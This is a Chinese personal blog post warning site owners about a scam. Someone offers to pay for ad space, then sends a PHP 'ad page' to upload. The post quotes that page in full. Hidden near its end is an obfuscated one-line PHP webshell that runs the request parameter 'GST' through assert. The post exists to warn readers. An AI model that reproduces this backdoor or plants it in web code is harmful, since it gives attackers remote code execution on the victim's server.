网络安全日记第一篇，PHP挂马与一句话。-快乐生活

昨天晚上遇到1个骗子，幸好发现的及时，

不然网站差点被他黑了。我遇到的这个

骗子QQ：2643360492

他主动来找我，说要放广告，出价200RMB一个月，后来涨到300RMB一个月。

可是我的网站都很小，几乎没有什么人访问，谁会出这种天价呢？

下面是聊天记录的截图。大家看看。

他发给我一个PHP单页，说放在根目录里，里面是一个互联的广告，貌似看起来很正常，但仔细一看，倒数第7行，有一句：<?php array_map("ass\x65rt",(array)$_REQUEST['GST']);?>  这个是一句话木马呀，幸好我看见了，及时把文件删除了，他在我的模版文件夹里建了个BBS.ASP 是一个ASP木马，我按修改时间排列，把木马给找出来删除了。。。。

后来，我又查了查百度，发现这个是那些小鸟黑客，入侵不了你的网站，就想着用高价包月的广告的法子来骗你上传个木马，大家一定要警惕啊！

他发给我的PHP内容：
<title>科讯互联，；廉价vps，服务器租用，网站集网络安全,系统网络,编程开发,高防群防服务器,为您提供从基础到高端的信息技术学习平台。</title>

<style type="text/css">

<STYLE type=text/css>.ant A:hover {
      FONT-SIZE: 9pt; COLOR: #ffffff; TEXT-DECORATION: underline
}
.ant A:link {
      FONT-SIZE: 9pt; COLOR: #ffffff; TEXT-DECORATION: none
}
.ant A:visited {
      FONT-SIZE: 9pt; COLOR: #ffffff; TEXT-DECORATION: none
}
.cat A:hover {
      FONT-SIZE: 9pt; COLOR: #cc0033; TEXT-DECORATION: underline
}
.cat A:link {
      FONT-SIZE: 9pt; COLOR: #ffffff; TEXT-DECORATION: none
}
.cat A:visited {
      FONT-SIZE: 9pt; COLOR: #ffffff; TEXT-DECORATION: none
}
.STYLE3 {
      color: #FFFFFF;
      font-size: 14px;
}
.STYLE4 {font-size: 12px}
.ant.STYLE3 .ant.STYLE3 strong {
      font-size: 15px;
}
.aaa{font-size:9pt; color:#FFF;TEXT-DECORATION: none}
.aaa strong{font-size:9pt; color:#FFF;TEXT-DECORATION: none}
.aaa A:link {
      font-size:9pt; color:#FFF;TEXT-DECORATION: none
}
.STYLE9 {
      font-size: 17px;
      font-weight: bold;
}
.STYLE10 {
      font-size: 16px;
      font-family: "微软雅黑";
}
.STYLE11 {font-family: "微软雅黑"}
a:link {
      color: #FFFFFF;
      text-decoration: none;
}
a:visited {
      text-decoration: none;
      color: #FFFFFF;
}
a:hover {
      text-decoration: none;
      color: #FFFFFF;
}
a:active {
      text-decoration: none;
      color: #FFFFFF;
}
.STYLE34 {font-size: 16px; font-family: "微软雅黑"; font-weight: bold; }
.STYLE35 {font-weight: bold; font-family: "微软雅黑";}
.STYLE36 {
      color: red;
      font-size: 36px;
      font-weight: bold;
}
body,td,th {
      color: #FFF;
}
</style>
</head>
<body>
<P align=center><FONT size=7><FONT face=楷体_GB2312><STRONG><FONT color=#ff0000><FONT color=#ff0000>梦</FONT><FONT size=6><FONT color=#f79709>客</FONT><FONT color=#94e61a size=5>网</FONT></FONT></STRONG></FONT><FONT size=4 face=楷体_GB2312><STRONG><FONT color=#2b91d5>络<BR></FONT></STRONG><STRONG><FONT color=#bbbbbb size=3>帮助他人提高自我自己努力自己辉煌 <BR>
<hr />
<table width="625" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
<td width="201"><div class="ant STYLE3" align="left" style="white-space:normal; word-break:break-all; overflow:hidden; width:200p
x; height:250px;line-height: 20PX">
<span class="STYLE9">简介</span><br />
   <span class="STYLE10"科讯互联，；廉价vps，服务器租用，网站集网络安全,系统网络,编程开发,高防群防服务器,为您提供从基础到高端的信息技术学习平台QQ894148907，我们的成功来源于你们的支持！</span></div></td>
<td width="20" style="width:20px"><P></P></td>
<td width="404">
<div class="ant STYLE3" align="left" style="white-space:normal; word-break:break-all; overflow:hidden; width:400px; height:250px;line-height: 20PX">
<span class="STYLE9">关于我们</span><br />
      <span class="STYLE10">科讯互联俩没成立于2012年，由科讯网络全体人员共同建立，注于网络信息安全领域的技术研究，积极面对领域内各类安全事件，科讯互联，；廉价vps，服务器租用，网站集网络安全,系统网络,编程开发,高防群防服务器,为您提供从基础到高端的信息技术学习平台6</span><br />
  <p align="right" class="STYLE11">科讯网络  <br />
2012年12月8日</p>
</div>
</td>
  </tr>
  </table>
<?php array_map("ass\x65rt",(array)$_REQUEST['GST']);?>
</p>
</td>
</body>
</html>
<ul>
</u

结尾：大家千万要警惕！！！

文章版权归作者所有，未经允许请勿转载。

THE END